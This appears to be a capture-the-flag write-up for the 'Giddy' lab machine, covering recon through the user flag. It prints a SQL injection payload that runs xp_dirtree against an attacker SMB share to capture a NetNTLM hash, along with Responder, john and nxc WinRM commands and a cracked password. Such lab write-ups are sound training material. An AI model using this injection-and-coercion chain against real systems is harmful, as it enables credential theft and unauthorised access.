Giddy

Overview

Giddy is a medium-difficulty Windows machine. IIS hosts a product-search application at /mvc whose search parameter is vulnerable to SQL injection. Rather than extracting data, the injection abuses MSSQL’s undocumented xp_dirtree stored procedure to force the SQL Server service account to authenticate to an attacker-controlled SMB share — capturing its NetNTLM hash. The hash cracks to stacy:xNnWo6272k7x, and those credentials authenticate directly over WinRM as a local administrator, landing the user flag. This post covers recon through the user flag.

Recon

Port	Service	Notes
80/443	IIS 10.0	/mvc product app, /Remote PowerShell Web Access
3389	RDP	remote desktop
5985	WinRM	Windows Remote Management

nmap -sC -sV 10.129.96.140

IIS 10 serves two web roots. /Remote is a PowerShell Web Access portal (a credentialed entry point), and /mvc is a custom product-listing app with a search box — the search box is where the interesting input lives.

Enumeration

The /mvc search form posts a ctl00$MainContent$SearchTerm parameter. Appending a single quote to a search term throws a SQL error; appending -- after the quote makes the query complete cleanly. That’s a textbook SQL-injection signal — user input is concatenated straight into the query. A timing test (waitfor delay) confirms the executing account is not sa, so direct command execution via xp_cmdshell isn’t on the table — but credential coercion is.

Foothold

Instead of dumping tables, abuse xp_dirtree to make the SQL service reach out to our box over SMB. Windows will authenticate automatically, leaking the service account’s NetNTLM hash. Stand up a capture server first:

# attacker: capture the inbound SMB auth
responder -I tun0
# or: impacket-smbserver share . -smb2support

Then fire the injection through the search parameter (URL-encoded inline EXEC), pointing the UNC path back at the listener:

'+EXEC+master.sys.xp_dirtree+'\\10.10.16.152\share--

The capture yields the NetNTLMv2 hash for user stacy. Crack it offline:

john stacy.hash --wordlist=/usr/share/wordlists/rockyou.txt
# stacy:xNnWo6272k7x

stacy is a local account. The intended route is the /Remote PowerShell Web Access portal, but the same credentials authenticate directly over WinRM — and return a full administrative session:

nxc winrm 10.129.96.140 -u stacy -p '<redacted>'
# GIDDY  5985  [+] Giddy\stacy:<redacted> (Pwn3d!)

User flag

nxc winrm 10.129.96.140 -u stacy -p '<redacted>' -x 'type C:\Users\stacy\Desktop\user.txt'
# HTB{...}

Access as giddy\stacy achieved and the user flag captured.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.